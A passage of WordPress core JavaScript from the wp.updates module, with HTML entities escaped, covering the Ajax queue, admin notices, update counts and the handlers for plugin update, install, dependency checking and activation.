	 * If the user tries to update a plugin while an update is
	 * already happening, it can be placed in this queue to perform later.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 More accurately named `queue`.
	 *
	 * @type {Array.object}
	 */
	wp.updates.queue = [];

	/**
	 * Holds a jQuery reference to return focus to when exiting the request credentials modal.
	 *
	 * @since 4.2.0
	 *
	 * @type {jQuery}
	 */
	wp.updates.$elToReturnFocusToFromCredentialsModal = undefined;

	/**
	 * Adds or updates an admin notice.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}  data
	 * @param {*=}      data.selector      Optional. Selector of an element to be replaced with the admin notice.
	 * @param {string=} data.id            Optional. Unique id that will be used as the notice&#039;s id attribute.
	 * @param {string=} data.className     Optional. Class names that will be used in the admin notice.
	 * @param {string=} data.message       Optional. The message displayed in the notice.
	 * @param {number=} data.successes     Optional. The amount of successful operations.
	 * @param {number=} data.errors        Optional. The amount of failed operations.
	 * @param {Array=}  data.errorMessages Optional. Error messages of failed operations.
	 *
	 */
	wp.updates.addAdminNotice = function( data ) {
		var $notice = $( data.selector ),
			$headerEnd = $( &#039;.wp-header-end&#039; ),
			$adminNotice;

		delete data.selector;
		$adminNotice = wp.updates.adminNotice( data );

		// Check if this admin notice already exists.
		if ( ! $notice.length ) {
			$notice = $( &#039;#&#039; + data.id );
		}

		if ( $notice.length ) {
			$notice.replaceWith( $adminNotice );
		} else if ( $headerEnd.length ) {
			$headerEnd.after( $adminNotice );
		} else {
			if ( &#039;customize&#039; === pagenow ) {
				$( &#039;.customize-themes-notifications&#039; ).append( $adminNotice );
			} else {
				$( &#039;.wrap&#039; ).find( &#039;&gt; h1&#039; ).after( $adminNotice );
			}
		}

		$document.trigger( &#039;wp-updates-notice-added&#039; );
	};

	/**
	 * Handles Ajax requests to WordPress.
	 *
	 * @since 4.6.0
	 *
	 * @param {string} action The type of Ajax request (&#039;update-plugin&#039;, &#039;install-theme&#039;, etc).
	 * @param {Object} data   Data that needs to be passed to the ajax callback.
	 * @return {$.promise}    A jQuery promise that represents the request,
	 *                        decorated with an abort() method.
	 */
	wp.updates.ajax = function( action, data ) {
		var options = {};

		if ( wp.updates.ajaxLocked ) {
			wp.updates.queue.push( {
				action: action,
				data:   data
			} );

			// Return a Deferred object so callbacks can always be registered.
			return $.Deferred();
		}

		wp.updates.ajaxLocked = true;

		if ( data.success ) {
			options.success = data.success;
			delete data.success;
		}

		if ( data.error ) {
			options.error = data.error;
			delete data.error;
		}

		options.data = _.extend( data, {
			action:          action,
			_ajax_nonce:     wp.updates.ajaxNonce,
			_fs_nonce:       wp.updates.filesystemCredentials.fsNonce,
			username:        wp.updates.filesystemCredentials.ftp.username,
			password:        wp.updates.filesystemCredentials.ftp.password,
			hostname:        wp.updates.filesystemCredentials.ftp.hostname,
			connection_type: wp.updates.filesystemCredentials.ftp.connectionType,
			public_key:      wp.updates.filesystemCredentials.ssh.publicKey,
			private_key:     wp.updates.filesystemCredentials.ssh.privateKey
		} );

		return wp.ajax.send( options ).always( wp.updates.ajaxAlways );
	};

	/**
	 * Actions performed after every Ajax request.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}  response
	 * @param {Array=}  response.debug     Optional. Debug information.
	 * @param {string=} response.errorCode Optional. Error code for an error that occurred.
	 */
	wp.updates.ajaxAlways = function( response ) {
		if ( ! response.errorCode || &#039;unable_to_connect_to_filesystem&#039; !== response.errorCode ) {
			wp.updates.ajaxLocked = false;
			wp.updates.queueChecker();
		}

		if ( &#039;undefined&#039; !== typeof response.debug &amp;&amp; window.console &amp;&amp; window.console.log ) {
			_.map( response.debug, function( message ) {
				// Remove all HTML tags and write a message to the console.
				window.console.log( wp.sanitize.stripTagsAndEncodeText( message ) );
			} );
		}
	};

	/**
	 * Refreshes update counts everywhere on the screen.
	 *
	 * @since 4.7.0
	 */
	wp.updates.refreshCount = function() {
		var $adminBarUpdates              = $( &#039;#wp-admin-bar-updates&#039; ),
			$dashboardNavMenuUpdateCount  = $( &#039;a[href=&quot;update-core.php&quot;] .update-plugins&#039; ),
			$pluginsNavMenuUpdateCount    = $( &#039;a[href=&quot;plugins.php&quot;] .update-plugins&#039; ),
			$appearanceNavMenuUpdateCount = $( &#039;a[href=&quot;themes.php&quot;] .update-plugins&#039; ),
			itemCount;

		$adminBarUpdates.find( &#039;.ab-label&#039; ).text( settings.totals.counts.total );
		$adminBarUpdates.find( &#039;.updates-available-text&#039; ).text(
			sprintf(
				/* translators: %s: Total number of updates available. */
				_n( &#039;%s update available&#039;, &#039;%s updates available&#039;, settings.totals.counts.total ),
				settings.totals.counts.total
			)
		);

		// Remove the update count from the toolbar if it&#039;s zero.
		if ( 0 === settings.totals.counts.total ) {
			$adminBarUpdates.find( &#039;.ab-label&#039; ).parents( &#039;li&#039; ).remove();
		}

		// Update the &quot;Updates&quot; menu item.
		$dashboardNavMenuUpdateCount.each( function( index, element ) {
			element.className = element.className.replace( /count-\d+/, &#039;count-&#039; + settings.totals.counts.total );
		} );
		if ( settings.totals.counts.total &gt; 0 ) {
			$dashboardNavMenuUpdateCount.find( &#039;.update-count&#039; ).text( settings.totals.counts.total );
		} else {
			$dashboardNavMenuUpdateCount.remove();
		}

		// Update the &quot;Plugins&quot; menu item.
		$pluginsNavMenuUpdateCount.each( function( index, element ) {
			element.className = element.className.replace( /count-\d+/, &#039;count-&#039; + settings.totals.counts.plugins );
		} );
		if ( settings.totals.counts.total &gt; 0 ) {
			$pluginsNavMenuUpdateCount.find( &#039;.plugin-count&#039; ).text( settings.totals.counts.plugins );
		} else {
			$pluginsNavMenuUpdateCount.remove();
		}

		// Update the &quot;Appearance&quot; menu item.
		$appearanceNavMenuUpdateCount.each( function( index, element ) {
			element.className = element.className.replace( /count-\d+/, &#039;count-&#039; + settings.totals.counts.themes );
		} );
		if ( settings.totals.counts.total &gt; 0 ) {
			$appearanceNavMenuUpdateCount.find( &#039;.theme-count&#039; ).text( settings.totals.counts.themes );
		} else {
			$appearanceNavMenuUpdateCount.remove();
		}

		// Update list table filter navigation.
		if ( &#039;plugins&#039; === pagenow || &#039;plugins-network&#039; === pagenow ) {
			itemCount = settings.totals.counts.plugins;
		} else if ( &#039;themes&#039; === pagenow || &#039;themes-network&#039; === pagenow ) {
			itemCount = settings.totals.counts.themes;
		}

		if ( itemCount &gt; 0 ) {
			$( &#039;.subsubsub .upgrade .count&#039; ).text( &#039;(&#039; + itemCount + &#039;)&#039; );
		} else {
			$( &#039;.subsubsub .upgrade&#039; ).remove();
			$( &#039;.subsubsub li:last&#039; ).html( function() { return $( this ).children(); } );
		}
	};

	/**
	 * Sends a message from a modal to the main screen to update buttons in plugin cards.
	 *
	 * @since 6.5.0
	 *
	 * @param {Object}  data               An object of data to use for the button.
	 * @param {string}  data.slug          The plugin&#039;s slug.
	 * @param {string}  data.text          The text to use for the button.
	 * @param {string}  data.ariaLabel     The value for the button&#039;s aria-label attribute. An empty string removes the attribute.
	 * @param {string=} data.status        Optional. An identifier for the status.
	 * @param {string=} data.removeClasses Optional. A space-separated list of classes to remove from the button.
	 * @param {string=} data.addClasses    Optional. A space-separated list of classes to add to the button.
	 * @param {string=} data.href          Optional. The button&#039;s URL.
	 * @param {string=} data.pluginName    Optional. The plugin&#039;s name.
	 * @param {string=} data.plugin        Optional. The plugin file, relative to the plugins directory.
	 */
	wp.updates.setCardButtonStatus = function( data ) {
		var target = window.parent === window ? null : window.parent;

		$.support.postMessage = !! window.postMessage;
		if ( false !== $.support.postMessage &amp;&amp; null !== target &amp;&amp; -1 === window.parent.location.pathname.indexOf( &#039;index.php&#039; ) ) {
			target.postMessage( JSON.stringify( data ), window.location.origin );
		}
	};

	/**
	 * Decrements the update counts throughout the various menus.
	 *
	 * This includes the toolbar, the &quot;Updates&quot; menu item and the menu items
	 * for plugins and themes.
	 *
	 * @since 3.9.0
	 *
	 * @param {string} type The type of item that was updated or deleted.
	 *                      Can be &#039;plugin&#039;, &#039;theme&#039;.
	 */
	wp.updates.decrementCount = function( type ) {
		settings.totals.counts.total = Math.max( --settings.totals.counts.total, 0 );

		if ( &#039;plugin&#039; === type ) {
			settings.totals.counts.plugins = Math.max( --settings.totals.counts.plugins, 0 );
		} else if ( &#039;theme&#039; === type ) {
			settings.totals.counts.themes = Math.max( --settings.totals.counts.themes, 0 );
		}

		wp.updates.refreshCount( type );
	};

	/**
	 * Sends an Ajax request to the server to update a plugin.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 More accurately named `updatePlugin`.
	 *
	 * @param {Object}               args         Arguments.
	 * @param {string}               args.plugin  Plugin basename.
	 * @param {string}               args.slug    Plugin slug.
	 * @param {updatePluginSuccess=} args.success Optional. Success callback. Default: wp.updates.updatePluginSuccess
	 * @param {updatePluginError=}   args.error   Optional. Error callback. Default: wp.updates.updatePluginError
	 * @return {$.promise} A jQuery promise that represents the request,
	 *                     decorated with an abort() method.
	 */
	wp.updates.updatePlugin = function( args ) {
		var $updateRow, $card, $message, message,
			$adminBarUpdates = $( &#039;#wp-admin-bar-updates&#039; ),
			buttonText = __( &#039;Updating...&#039; ),
			isPluginInstall = &#039;plugin-install&#039; === pagenow || &#039;plugin-install-network&#039; === pagenow;

		args = _.extend( {
			success: wp.updates.updatePluginSuccess,
			error: wp.updates.updatePluginError
		}, args );

		if ( &#039;plugins&#039; === pagenow || &#039;plugins-network&#039; === pagenow ) {
			$updateRow = $( &#039;tr[data-plugin=&quot;&#039; + args.plugin + &#039;&quot;]&#039; );
			$message   = $updateRow.find( &#039;.update-message&#039; ).removeClass( &#039;notice-error&#039; ).addClass( &#039;updating-message notice-warning&#039; ).find( &#039;p&#039; );
			message    = sprintf(
				/* translators: %s: Plugin name and version. */
 				_x( &#039;Updating %s...&#039;, &#039;plugin&#039; ),
				$updateRow.find( &#039;.plugin-title strong&#039; ).text()
			);
		} else if ( isPluginInstall ) {
			$card    = $( &#039;.plugin-card-&#039; + args.slug + &#039;, #plugin-information-footer&#039; );
			$message = $card.find( &#039;.update-now&#039; ).addClass( &#039;updating-message&#039; );
			message    = sprintf(
				/* translators: %s: Plugin name and version. */
 				_x( &#039;Updating %s...&#039;, &#039;plugin&#039; ),
				$message.data( &#039;name&#039; )
			);

			// Remove previous error messages, if any.
			$card.removeClass( &#039;plugin-card-update-failed&#039; ).find( &#039;.notice.notice-error&#039; ).remove();
		}

		$adminBarUpdates.addClass( &#039;spin&#039; );

		if ( $message.html() !== __( &#039;Updating...&#039; ) ) {
			$message.data( &#039;originaltext&#039;, $message.html() );
		}

		$message
			.attr( &#039;aria-label&#039;, message )
			.text( buttonText );

		$document.trigger( &#039;wp-plugin-updating&#039;, args );

		if ( isPluginInstall &amp;&amp; &#039;plugin-information-footer&#039; === $card.attr( &#039;id&#039; ) ) {
			wp.updates.setCardButtonStatus(
				{
					status: &#039;updating-plugin&#039;,
					slug: args.slug,
					addClasses: &#039;updating-message&#039;,
					text: buttonText,
					ariaLabel: message
				}
			);
		}

		return wp.updates.ajax( &#039;update-plugin&#039;, args );
	};

	/**
	 * Updates the UI appropriately after a successful plugin update.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 More accurately named `updatePluginSuccess`.
	 * @since 5.5.0 Auto-update &quot;time to next update&quot; text cleared.
	 *
	 * @param {Object} response            Response from the server.
	 * @param {string} response.slug       Slug of the plugin to be updated.
	 * @param {string} response.plugin     Basename of the plugin to be updated.
	 * @param {string} response.pluginName Name of the plugin to be updated.
	 * @param {string} response.oldVersion Old version of the plugin.
	 * @param {string} response.newVersion New version of the plugin.
	 */
	wp.updates.updatePluginSuccess = function( response ) {
		var $pluginRow, $updateMessage, newText,
			$adminBarUpdates = $( &#039;#wp-admin-bar-updates&#039; ),
			buttonText = _x( &#039;Updated!&#039;, &#039;plugin&#039; ),
			ariaLabel = sprintf(
				/* translators: %s: Plugin name and version. */
				_x( &#039;%s updated!&#039;, &#039;plugin&#039; ),
				response.pluginName
			);

		if ( &#039;plugins&#039; === pagenow || &#039;plugins-network&#039; === pagenow ) {
			$pluginRow     = $( &#039;tr[data-plugin=&quot;&#039; + response.plugin + &#039;&quot;]&#039; )
				.removeClass( &#039;update is-enqueued&#039; )
				.addClass( &#039;updated&#039; );
			$updateMessage = $pluginRow.find( &#039;.update-message&#039; )
				.removeClass( &#039;updating-message notice-warning&#039; )
				.addClass( &#039;updated-message notice-success&#039; ).find( &#039;p&#039; );

			// Update the version number in the row.
			newText = $pluginRow.find( &#039;.plugin-version-author-uri&#039; ).html().replace( response.oldVersion, response.newVersion );
			$pluginRow.find( &#039;.plugin-version-author-uri&#039; ).html( newText );

			// Clear the &quot;time to next auto-update&quot; text.
			$pluginRow.find( &#039;.auto-update-time&#039; ).empty();
		} else if ( &#039;plugin-install&#039; === pagenow || &#039;plugin-install-network&#039; === pagenow ) {
			$updateMessage = $( &#039;.plugin-card-&#039; + response.slug + &#039;, #plugin-information-footer&#039; ).find( &#039;.update-now&#039; )
				.removeClass( &#039;updating-message&#039; )
				.addClass( &#039;button-disabled updated-message&#039; );
		}

		$adminBarUpdates.removeClass( &#039;spin&#039; );

		$updateMessage
			.attr( &#039;aria-label&#039;, ariaLabel )
			.text( buttonText );

		wp.a11y.speak( __( &#039;Update completed successfully.&#039; ) );

		if ( &#039;plugin_install_from_iframe&#039; !== $updateMessage.attr( &#039;id&#039; ) ) {
			wp.updates.decrementCount( &#039;plugin&#039; );
		} else {
			wp.updates.setCardButtonStatus(
				{
					status: &#039;updated-plugin&#039;,
					slug: response.slug,
					removeClasses: &#039;updating-message&#039;,
					addClasses: &#039;button-disabled updated-message&#039;,
					text: buttonText,
					ariaLabel: ariaLabel
				}
			);
		}

		$document.trigger( &#039;wp-plugin-update-success&#039;, response );
	};

	/**
	 * Updates the UI appropriately after a failed plugin update.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 More accurately named `updatePluginError`.
	 *
	 * @param {Object}  response              Response from the server.
	 * @param {string}  response.slug         Slug of the plugin to be updated.
	 * @param {string}  response.plugin       Basename of the plugin to be updated.
	 * @param {string=} response.pluginName   Optional. Name of the plugin to be updated.
	 * @param {string}  response.errorCode    Error code for the error that occurred.
	 * @param {string}  response.errorMessage The error that occurred.
	 */
	wp.updates.updatePluginError = function( response ) {
		var $pluginRow, $card, $message, errorMessage, buttonText, ariaLabel,
			$adminBarUpdates = $( &#039;#wp-admin-bar-updates&#039; );

		if ( ! wp.updates.isValidResponse( response, &#039;update&#039; ) ) {
			return;
		}

		if ( wp.updates.maybeHandleCredentialError( response, &#039;update-plugin&#039; ) ) {
			return;
		}

		errorMessage = sprintf(
			/* translators: %s: Error string for a failed update. */
			__( &#039;Update failed: %s&#039; ),
			response.errorMessage
		);

		if ( &#039;plugins&#039; === pagenow || &#039;plugins-network&#039; === pagenow ) {
			$pluginRow = $( &#039;tr[data-plugin=&quot;&#039; + response.plugin + &#039;&quot;]&#039; ).removeClass( &#039;is-enqueued&#039; );

			if ( response.plugin ) {
				$message = $( &#039;tr[data-plugin=&quot;&#039; + response.plugin + &#039;&quot;]&#039; ).find( &#039;.update-message&#039; );
			} else {
				$message = $( &#039;tr[data-slug=&quot;&#039; + response.slug + &#039;&quot;]&#039; ).find( &#039;.update-message&#039; );
			}
			$message.removeClass( &#039;updating-message notice-warning&#039; ).addClass( &#039;notice-error&#039; ).find( &#039;p&#039; ).html( errorMessage );

			if ( response.pluginName ) {
				$message.find( &#039;p&#039; )
					.attr(
						&#039;aria-label&#039;,
						sprintf(
							/* translators: %s: Plugin name and version. */
							_x( &#039;%s update failed.&#039;, &#039;plugin&#039; ),
							response.pluginName
						)
					);
			} else {
				$message.find( &#039;p&#039; ).removeAttr( &#039;aria-label&#039; );
			}
		} else if ( &#039;plugin-install&#039; === pagenow || &#039;plugin-install-network&#039; === pagenow ) {
			buttonText = __( &#039;Update failed.&#039; );

			$card = $( &#039;.plugin-card-&#039; + response.slug + &#039;, #plugin-information-footer&#039; )
				.append( wp.updates.adminNotice( {
					className: &#039;update-message notice-error notice-alt is-dismissible&#039;,
					message:   errorMessage
				} ) );

			if ( $card.hasClass( &#039;plugin-card-&#039; + response.slug ) ) {
				$card.addClass( &#039;plugin-card-update-failed&#039; );
			}

			$card.find( &#039;.update-now&#039; )
				.text( buttonText )
				.removeClass( &#039;updating-message&#039; );

			if ( response.pluginName ) {
				ariaLabel = sprintf(
					/* translators: %s: Plugin name and version. */
					_x( &#039;%s update failed.&#039;, &#039;plugin&#039; ),
					response.pluginName
				);

				$card.find( &#039;.update-now&#039; ).attr( &#039;aria-label&#039;, ariaLabel );
			} else {
				ariaLabel = &#039;&#039;;
				$card.find( &#039;.update-now&#039; ).removeAttr( &#039;aria-label&#039; );
			}

			$card.on( &#039;click&#039;, &#039;.notice.is-dismissible .notice-dismiss&#039;, function() {

				// Use same delay as the total duration of the notice fadeTo + slideUp animation.
				setTimeout( function() {
					$card
						.removeClass( &#039;plugin-card-update-failed&#039; )
						.find( &#039;.column-name a&#039; ).trigger( &#039;focus&#039; );

					$card.find( &#039;.update-now&#039; )
						.attr( &#039;aria-label&#039;, false )
						.text( __( &#039;Update Now&#039; ) );
				}, 200 );
			} );
		}

		$adminBarUpdates.removeClass( &#039;spin&#039; );

		wp.a11y.speak( errorMessage, &#039;assertive&#039; );

		if ( &#039;plugin-information-footer&#039; === $card.attr(&#039;id&#039; ) ) {
			wp.updates.setCardButtonStatus(
				{
					status: &#039;plugin-update-failed&#039;,
					slug: response.slug,
					removeClasses: &#039;updating-message&#039;,
					text: buttonText,
					ariaLabel: ariaLabel
				}
			);
		}

		$document.trigger( &#039;wp-plugin-update-error&#039;, response );
	};

	/**
	 * Sends an Ajax request to the server to install a plugin.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}                args         Arguments.
	 * @param {string}                args.slug    Plugin identifier in the WordPress.org Plugin repository.
	 * @param {installPluginSuccess=} args.success Optional. Success callback. Default: wp.updates.installPluginSuccess
	 * @param {installPluginError=}   args.error   Optional. Error callback. Default: wp.updates.installPluginError
	 * @return {$.promise} A jQuery promise that represents the request,
	 *                     decorated with an abort() method.
	 */
	wp.updates.installPlugin = function( args ) {
		var $card    = $( &#039;.plugin-card-&#039; + args.slug + &#039;, #plugin-information-footer&#039; ),
			$message = $card.find( &#039;.install-now&#039; ),
			buttonText = __( &#039;Installing...&#039; ),
			ariaLabel;

		args = _.extend( {
			success: wp.updates.installPluginSuccess,
			error: wp.updates.installPluginError
		}, args );

		if ( &#039;import&#039; === pagenow ) {
			$message = $( &#039;[data-slug=&quot;&#039; + args.slug + &#039;&quot;]&#039; );
		}

		if ( $message.html() !== __( &#039;Installing...&#039; ) ) {
			$message.data( &#039;originaltext&#039;, $message.html() );
		}

		ariaLabel = sprintf(
			/* translators: %s: Plugin name and version. */
			_x( &#039;Installing %s...&#039;, &#039;plugin&#039; ),
			$message.data( &#039;name&#039; )
		);

		$message
			.addClass( &#039;updating-message&#039; )
			.attr( &#039;aria-label&#039;, ariaLabel )
			.text( buttonText );

		wp.a11y.speak( __( &#039;Installing... please wait.&#039; ) );

		// Remove previous error messages, if any.
		$card.removeClass( &#039;plugin-card-install-failed&#039; ).find( &#039;.notice.notice-error&#039; ).remove();

		$document.trigger( &#039;wp-plugin-installing&#039;, args );

		if ( &#039;plugin-information-footer&#039; === $message.parent().attr( &#039;id&#039; ) ) {
			wp.updates.setCardButtonStatus(
				{
					status: &#039;installing-plugin&#039;,
					slug: args.slug,
					addClasses: &#039;updating-message&#039;,
					text: buttonText,
					ariaLabel: ariaLabel
				}
			);
		}

		return wp.updates.ajax( &#039;install-plugin&#039;, args );
	};

	/**
	 * Updates the UI appropriately after a successful plugin install.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response             Response from the server.
	 * @param {string} response.slug        Slug of the installed plugin.
	 * @param {string} response.pluginName  Name of the installed plugin.
	 * @param {string} response.activateUrl URL to activate the just installed plugin.
	 */
	wp.updates.installPluginSuccess = function( response ) {
		var $message = $( &#039;.plugin-card-&#039; + response.slug + &#039;, #plugin-information-footer&#039; ).find( &#039;.install-now&#039; ),
			buttonText = _x( &#039;Installed!&#039;, &#039;plugin&#039; ),
			ariaLabel = sprintf(
				/* translators: %s: Plugin name and version. */
				_x( &#039;%s installed!&#039;, &#039;plugin&#039; ),
				response.pluginName
			);

		$message
			.removeClass( &#039;updating-message&#039; )
			.addClass( &#039;updated-message installed button-disabled&#039; )
			.attr( &#039;aria-label&#039;, ariaLabel )
			.text( buttonText );

		wp.a11y.speak( __( &#039;Installation completed successfully.&#039; ) );

		$document.trigger( &#039;wp-plugin-install-success&#039;, response );

		if ( response.activateUrl ) {
			setTimeout( function() {
				wp.updates.checkPluginDependencies( {
					slug: response.slug
				} );
			}, 1000 );
		}

		if ( &#039;plugin-information-footer&#039; === $message.parent().attr( &#039;id&#039; ) ) {
			wp.updates.setCardButtonStatus(
				{
					status: &#039;installed-plugin&#039;,
					slug: response.slug,
					removeClasses: &#039;updating-message&#039;,
					addClasses: &#039;updated-message installed button-disabled&#039;,
					text: buttonText,
					ariaLabel: ariaLabel
				}
			);
		}
	};

	/**
	 * Updates the UI appropriately after a failed plugin install.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}  response              Response from the server.
	 * @param {string}  response.slug         Slug of the plugin to be installed.
	 * @param {string=} response.pluginName   Optional. Name of the plugin to be installed.
	 * @param {string}  response.errorCode    Error code for the error that occurred.
	 * @param {string}  response.errorMessage The error that occurred.
	 */
	wp.updates.installPluginError = function( response ) {
		var $card   = $( &#039;.plugin-card-&#039; + response.slug + &#039;, #plugin-information-footer&#039; ),
			$button = $card.find( &#039;.install-now&#039; ),
			buttonText = __( &#039;Installation failed.&#039; ),
			ariaLabel = sprintf(
				/* translators: %s: Plugin name and version. */
				_x( &#039;%s installation failed&#039;, &#039;plugin&#039; ),
				$button.data( &#039;name&#039; )
			),
			errorMessage;

		if ( ! wp.updates.isValidResponse( response, &#039;install&#039; ) ) {
			return;
		}

		if ( wp.updates.maybeHandleCredentialError( response, &#039;install-plugin&#039; ) ) {
			return;
		}

		errorMessage = sprintf(
			/* translators: %s: Error string for a failed installation. */
			__( &#039;Installation failed: %s&#039; ),
			response.errorMessage
		);

		$card
			.addClass( &#039;plugin-card-update-failed&#039; )
			.append( &#039;&lt;div class=&quot;notice notice-error notice-alt is-dismissible&quot; role=&quot;alert&quot;&gt;&lt;p&gt;&#039; + errorMessage + &#039;&lt;/p&gt;&lt;/div&gt;&#039; );

		$card.on( &#039;click&#039;, &#039;.notice.is-dismissible .notice-dismiss&#039;, function() {

			// Use same delay as the total duration of the notice fadeTo + slideUp animation.
			setTimeout( function() {
				$card
					.removeClass( &#039;plugin-card-update-failed&#039; )
					.find( &#039;.column-name a&#039; ).trigger( &#039;focus&#039; );
			}, 200 );
		} );

		$button
			.removeClass( &#039;updating-message&#039; ).addClass( &#039;button-disabled&#039; )
			.attr( &#039;aria-label&#039;, ariaLabel )
			.text( buttonText );

		wp.a11y.speak( errorMessage, &#039;assertive&#039; );

		wp.updates.setCardButtonStatus(
			{
				status: &#039;plugin-install-failed&#039;,
				slug: response.slug,
				removeClasses: &#039;updating-message&#039;,
				addClasses: &#039;button-disabled&#039;,
				text: buttonText,
				ariaLabel: ariaLabel
			}
		);

		$document.trigger( &#039;wp-plugin-install-error&#039;, response );
	};

	/**
	 * Sends an Ajax request to the server to check a plugin&#039;s dependencies.
	 *
	 * @since 6.5.0
	 *
	 * @param {Object}                          args         Arguments.
	 * @param {string}                          args.slug    Plugin identifier in the WordPress.org Plugin repository.
	 * @param {checkPluginDependenciesSuccess=} args.success Optional. Success callback. Default: wp.updates.checkPluginDependenciesSuccess
	 * @param {checkPluginDependenciesError=}   args.error   Optional. Error callback. Default: wp.updates.checkPluginDependenciesError
	 * @return {$.promise} A jQuery promise that represents the request,
	 *                     decorated with an abort() method.
	 */
	wp.updates.checkPluginDependencies = function( args ) {
		args = _.extend( {
			success: wp.updates.checkPluginDependenciesSuccess,
			error: wp.updates.checkPluginDependenciesError
		}, args );

		wp.a11y.speak( __( &#039;Checking plugin dependencies... please wait.&#039; ) );
		$document.trigger( &#039;wp-checking-plugin-dependencies&#039;, args );

		return wp.updates.ajax( &#039;check_plugin_dependencies&#039;, args );
	};

	/**
	 * Updates the UI appropriately after a successful plugin dependencies check.
	 *
	 * @since 6.5.0
	 *
	 * @param {Object} response             Response from the server.
	 * @param {string} response.slug        Slug of the checked plugin.
	 * @param {string} response.pluginName  Name of the checked plugin.
	 * @param {string} response.plugin      The plugin file, relative to the plugins directory.
	 * @param {string} response.activateUrl URL to activate the just checked plugin.
	 */
	wp.updates.checkPluginDependenciesSuccess = function( response ) {
		var $message = $( &#039;.plugin-card-&#039; + response.slug + &#039;, #plugin-information-footer&#039; ).find( &#039;.install-now&#039; ),
			buttonText, ariaLabel;

		// Transform the &#039;Install&#039; button into an &#039;Activate&#039; button.
		$message
			.removeClass( &#039;install-now installed button-disabled updated-message&#039; )
			.addClass( &#039;activate-now button-primary&#039; )
			.attr( &#039;href&#039;, response.activateUrl );

		wp.a11y.speak( __( &#039;Plugin dependencies check completed successfully.&#039; ) );
		$document.trigger( &#039;wp-check-plugin-dependencies-success&#039;, response );

		if ( &#039;plugins-network&#039; === pagenow || &#039;plugin-install-network&#039; === pagenow ) {
			buttonText = _x( &#039;Network Activate&#039;, &#039;plugin&#039; );
			ariaLabel  = sprintf(
				/* translators: %s: Plugin name. */
				_x( &#039;Network Activate %s&#039;, &#039;plugin&#039; ),
				response.pluginName
			);

			$message
				.attr( &#039;aria-label&#039;, ariaLabel )
				.text( buttonText );
		} else {
			buttonText = _x( &#039;Activate&#039;, &#039;plugin&#039; );
			ariaLabel = sprintf(
				/* translators: %s: Plugin name. */
				_x( &#039;Activate %s&#039;, &#039;plugin&#039; ),
				response.pluginName
			);

			$message
				.attr( &#039;aria-label&#039;, ariaLabel )
				.attr( &#039;data-name&#039;, response.pluginName )
				.attr( &#039;data-slug&#039;, response.slug )
				.attr( &#039;data-plugin&#039;, response.plugin )
				.text( buttonText );
		}

		if ( &#039;plugin-information-footer&#039; === $message.parent().attr( &#039;id&#039; ) ) {
			wp.updates.setCardButtonStatus(
				{
					status: &#039;dependencies-check-success&#039;,
					slug: response.slug,
					removeClasses: &#039;install-now installed button-disabled updated-message&#039;,
					addClasses: &#039;activate-now button-primary&#039;,
					text: buttonText,
					ariaLabel: ariaLabel,
					pluginName: response.pluginName,
					plugin: response.plugin,
					href: response.activateUrl
				}
			);
		}
	};

	/**
	 * Updates the UI appropriately after a failed plugin dependencies check.
	 *
	 * @since 6.5.0
	 *
	 * @param {Object}  response              Response from the server.
	 * @param {string}  response.slug         Slug of the plugin to be checked.
	 * @param {string=} response.pluginName   Optional. Name of the plugin to be checked.
	 * @param {string}  response.errorCode    Error code for the error that occurred.
	 * @param {string}  response.errorMessage The error that occurred.
	 */
	wp.updates.checkPluginDependenciesError = function( response ) {
		var $message = $( &#039;.plugin-card-&#039; + response.slug + &#039;, #plugin-information-footer&#039; ).find( &#039;.install-now&#039; ),
			buttonText = _x( &#039;Activate&#039;, &#039;plugin&#039; ),
			ariaLabel = sprintf(
				/* translators: 1: Plugin name, 2. The reason the plugin cannot be activated. */
				_x( &#039;Cannot activate %1$s. %2$s&#039;, &#039;plugin&#039; ),
				response.pluginName,
				response.errorMessage
			),
			errorMessage;

		if ( ! wp.updates.isValidResponse( response, &#039;check-dependencies&#039; ) ) {
			return;
		}

		errorMessage = sprintf(
			/* translators: %s: Error string for a failed activation. */
			__( &#039;Activation failed: %s&#039; ),
			response.errorMessage
		);

		wp.a11y.speak( errorMessage, &#039;assertive&#039; );
		$document.trigger( &#039;wp-check-plugin-dependencies-error&#039;, response );

		$message
			.removeClass( &#039;install-now installed updated-message&#039; )
			.addClass( &#039;activate-now button-primary&#039; )
			.attr( &#039;aria-label&#039;, ariaLabel )
			.text( buttonText );

		if ( &#039;plugin-information-footer&#039; === $message.parent().attr(&#039;id&#039; ) ) {
			wp.updates.setCardButtonStatus(
				{
					status: &#039;dependencies-check-failed&#039;,
					slug: response.slug,
					removeClasses: &#039;install-now installed updated-message&#039;,
					addClasses: &#039;activate-now button-primary&#039;,
					text: buttonText,
					ariaLabel: ariaLabel
				}
			);
		}
	};

	/**
	 * Sends an Ajax request to the server to activate a plugin.
	 *
	 * @since 6.5.0
	 *
	 * @param {Object}                 args         Arguments.
	 * @param {string}                 args.name    The name of the plugin.
	 * @param {string}                 args.slug    Plugin identifier in the WordPress.org Plugin repository.
	 * @param {string}                 args.plugin  The plugin file, relative to the plugins directory.
	 * @param {activatePluginSuccess=} args.success Optional. Success callback. Default: wp.updates.activatePluginSuccess
	 * @param {activatePluginError=}   args.error   Optional. Error callback. Default: wp.updates.activatePluginError
	 * @return {$.promise} A jQuery promise that represents the request,
	 *                     decorated with an abort() method.
	 */
	wp.updates.activatePlugin = function( args ) {
		var $message = $( &#039;.plugin-card-&#039; + args.slug + &#039;, #plugin-information-footer&#039; ).find( &#039;.activate-now, .activating-message&#039; );

		args = _.extend( {
			success: wp.updates.activatePluginSuccess,
			error: wp.updates.activatePluginError
		}, args );

		wp.a11y.speak( __( &#039;Activating... please wait.&#039; ) );
		$document.trigger( &#039;wp-activating-plugin&#039;, args );

		if ( &#039;plugin-information-footer&#039; === $message.parent().attr( &#039;id&#039; ) ) {
			wp.updates.setCardButtonStatus(
				{
					status: &#039;activating-plugin&#039;,
					slug: args.slug,
					removeClasses: &#039;installed updated-message button-primary&#039;,
					addClasses: &#039;activating-message&#039;,
					text: __( &#039;Activating...&#039; ),
					ariaLabel: sprintf(
						/* translators: %s: Plugin name. */
						_x( &#039;Activating %s&#039;, &#039;plugin&#039; ),
						args.name
					)
				}
			);
		}

